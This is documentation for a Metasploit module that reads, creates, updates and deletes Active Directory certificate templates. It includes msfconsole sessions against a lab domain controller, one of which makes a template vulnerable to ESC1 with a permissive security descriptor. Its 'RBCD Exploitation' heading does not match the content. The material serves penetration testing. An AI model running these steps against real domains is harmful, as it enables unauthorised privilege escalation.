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RBCD Exploitation

This module can read, write, update, and delete AD CS certificate templates from a Active Directory Domain Controller.

The READ, UPDATE, and DELETE actions will write a copy of the certificate template to disk that can be restored using the CREATE or UPDATE actions.

In order for the auxiliary/admin/ldap/ad_cs_cert_template module to succeed, the authenticated user must have the necessary permissions to perform the specified action on the target object (the certificate specified in CERT_TEMPLATE).

Lab setup

Follow the steps in the Installing AD CS documentation.

Module usage

The admin/ldap/ad_cs_template module is generally used to update a certificate template as part of an ESC4 attack.

  1. From msfconsole
  2. Do: use auxiliary/admin/ldap/ad_cs_cert_template
  3. Set the RHOSTS, USERNAME and PASSWORD options
  4. Set the CERT_TEMPLATE option to the name of the target certificate template
  5. Set the ACTION b. For the UPDATE action, set the TEMPLATE_FILE option c. For the CREATE action, optionally set the TEMPLATE_FILE option
  6. Run the module and see the operation complete successfully

Actions

CREATE

Create the certificate template in the LDAP server. If no TEMPLATE_FILE is specified, a new certificate template will be created based on the Microsoft-builtin SubCA template with a default security descriptor. If the TEMPLATE_FILE is specified, the attributes it defines are merged with the SubCA template. This allows attributes such as the security descriptor and name to be defined.

READ

Read the certificate template from the LDAP server. A copy will be saved to disk.

UPDATE

Update the certificate template in the LDAP server. The TEMPLATE_FILE must be specified and will be used to read attributes to set on the certificate template object. The TEMPLATE_FILE option can be set to a previously stored template file to restore the object to a previous state.

DELETE

Delete the certificate template in the LDAP server. This is a destructive action.

Options

CERT_TEMPLATE

The remote certificate template name. This is used as the common name (CN) for the LDAP object.

TEMPLATE_FILE

This is a local template file from which to read object attributes from. Two file formats are supported, JSON and YAML. The file format is determined by the extension so the file must end in either .json or .yaml.

The JSON format

The JSON file format is a hash with attribute name keys and ASCII-hex encoded values. These files are compatible with Certipy’s template command. This module uses the JSON file format when storing copies fo certificate to disk.

The YAML format

The YAML file format is similiar to the JSON file format, but takes advantage of YAML’s ability to include comments. The file consists of a hash with attribute name keys and value strings. The nTSecurityDescriptor file can be either a binary string representing a literal value, or a security descriptor defined in Microsoft’s Security Descriptor Definition Language (SDDL). Premade configuration templates provided by Metasploit use this format.

Scenarios

For steps on exploiting ESC4, see Exploiting ESC4.

Creating A Certificate Template

In this scenario, the operator uses the module to create a new certificate template. Either the default local template can be used to make one vulnerable to ESC1, or a previously saved configuration can be used. In the following example, the TEMPLATE_FILE option is used to restore the settings from a previously deleted template.

msf6 auxiliary(admin/dcerpc/icpr_cert) > use auxiliary/admin/ldap/ad_cs_cert_template 
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set RHOSTS 192.168.159.10
RHOSTS => 192.168.159.10
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set USERNAME aliddle
USERNAME => aliddle
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set PASSWORD Password1!
PASSWORD => Password1!
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set CERT_TEMPLATE ESC4-Test
CERT_TEMPLATE => ESC4-Test
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set ACTION CREATE
ACTION => CREATE
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set TEMPLATE_FILE /home/smcintyre/.msf4/loot/20230505102851_default_192.168.159.10_windows.ad.cs.te_242316.json
TEMPLATE_FILE => /home/smcintyre/.msf4/loot/20230505102851_default_192.168.159.10_windows.ad.cs.te_242316.json
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > run
[*] Running module against 192.168.159.10

[+] Successfully bound to the LDAP server!
[*] Discovering base DN automatically
[*] 192.168.159.10:389 Getting root DSE
[+] 192.168.159.10:389 Discovered base DN: DC=msflab,DC=local
[*] Creating: CN=ESC4-Test,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=msflab,DC=local
[+] The operation completed successfully!
[*] Auxiliary module execution completed
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > 

Deleting A Certificate Template

In this scenario, the operator uses the module to delete the ESC4-Test certificate template. A backup of the original certificate’s data is made before it is deleted. This file can be used with the CREATE action to restore the certificate template.

msf6 auxiliary(admin/dcerpc/icpr_cert) > use auxiliary/admin/ldap/ad_cs_cert_template 
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set RHOSTS 192.168.159.10
RHOSTS => 192.168.159.10
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set USERNAME aliddle
USERNAME => aliddle
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set PASSWORD Password1!
PASSWORD => Password1!
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set CERT_TEMPLATE ESC4-Test
CERT_TEMPLATE => ESC4-Test
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set ACTION DELETE 
ACTION => DELETE
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > run
[*] Running module against 192.168.159.10

[+] Successfully bound to the LDAP server!
[*] Discovering base DN automatically
[*] 192.168.159.10:389 Getting root DSE
[+] 192.168.159.10:389 Discovered base DN: DC=msflab,DC=local
[+] Read certificate template data for: CN=ESC4-Test,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=msflab,DC=local
[*] Certificate template data written to: /home/smcintyre/.msf4/loot/20230505102851_default_192.168.159.10_windows.ad.cs.te_242316.json
[+] The operation completed successfully!
[*] Auxiliary module execution completed
msf6 auxiliary(admin/ldap/ad_cs_cert_template) >

Reading A Certificate Template

In this scenario, the operator uses the module to read the configuration of the default User certificate template.

msf6 auxiliary(admin/dcerpc/icpr_cert) > use auxiliary/admin/ldap/ad_cs_cert_template 
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set RHOSTS 192.168.159.10
RHOSTS => 192.168.159.10
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set USERNAME aliddle
USERNAME => aliddle
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set PASSWORD Password1!
PASSWORD => Password1!
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set CERT_TEMPLATE User
CERT_TEMPLATE => User
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set ACTION READ
ACTION => READ
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > run
[*] Running module against 192.168.159.10

[+] Successfully bound to the LDAP server!
[*] Discovering base DN automatically
[*] 192.168.159.10:389 Getting root DSE
[+] 192.168.159.10:389 Discovered base DN: DC=msflab,DC=local
[+] Read certificate template data for: CN=User,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=msflab,DC=local
[*] Certificate template data written to: /home/smcintyre/.msf4/loot/20230505125728_default_192.168.159.10_windows.ad.cs.te_691087.json
[*] Certificate Template:
[*]   distinguishedName: CN=User,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=msflab,DC=local
[*]   displayName:       User
[*]   objectGUID:        ceed9142-d00f-459e-9694-02eb59ea1ec8
[*]   msPKI-Certificate-Name-Flag: 0xa6000000
[*]     * CT_FLAG_SUBJECT_ALT_REQUIRE_UPN
[*]     * CT_FLAG_SUBJECT_ALT_REQUIRE_EMAIL
[*]     * CT_FLAG_SUBJECT_REQUIRE_EMAIL
[*]     * CT_FLAG_SUBJECT_REQUIRE_DIRECTORY_PATH
[*]   msPKI-Enrollment-Flag: 0x00000029
[*]     * CT_FLAG_INCLUDE_SYMMETRIC_ALGORITHMS
[*]     * CT_FLAG_PUBLISH_TO_DS
[*]     * CT_FLAG_AUTO_ENROLLMENT
[*]   msPKI-RA-Signature: 0x00000000
[*]   pKIExtendedUsage:
[*]     * 1.3.6.1.4.1.311.10.3.4
[*]     * 1.3.6.1.5.5.7.3.4
[*]     * 1.3.6.1.5.5.7.3.2
[+] The operation completed successfully!
[*] Auxiliary module execution completed
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > 

Updating A Certificate Template

In this scenario, the operator uses the module to update and reconfigure the ESC4-Test certificate template to make it vulnerable to ESC1 (the default template settings). This process first makes a backup of the certificate data that can be used later. The local certificate template data can be modified to set a custom security descriptor.

msf6 auxiliary(admin/dcerpc/icpr_cert) > use auxiliary/admin/ldap/ad_cs_cert_template 
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set RHOSTS 192.168.159.10
RHOSTS => 192.168.159.10
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set USERNAME aliddle
USERNAME => aliddle
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set PASSWORD Password1!
PASSWORD => Password1!
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set CERT_TEMPLATE ESC4-Test
CERT_TEMPLATE => ESC4-Test
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set ACTION UPDATE 
ACTION => UPDATE
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set VERBOSE true 
VERBOSE => true
msf6 auxiliary(admin/ldap/ad_cs_cert_template) > run
[*] Running module against 192.168.159.10

[+] Successfully bound to the LDAP server!
[*] Discovering base DN automatically
[*] 192.168.159.10:389 Getting root DSE
[+] 192.168.159.10:389 Discovered base DN: DC=msflab,DC=local
[+] Read certificate template data for: CN=ESC4-Test,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=msflab,DC=local
[*] Certificate template data written to: /home/smcintyre/.msf4/loot/20230505083802_default_192.168.159.10_windows.ad.cs.te_593597.json
[*] Parsing SDDL text: D:PAI(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;AU)
[+] The operation completed successfully!
[*] Auxiliary module execution completed
msf6 auxiliary(admin/ldap/ad_cs_cert_template) >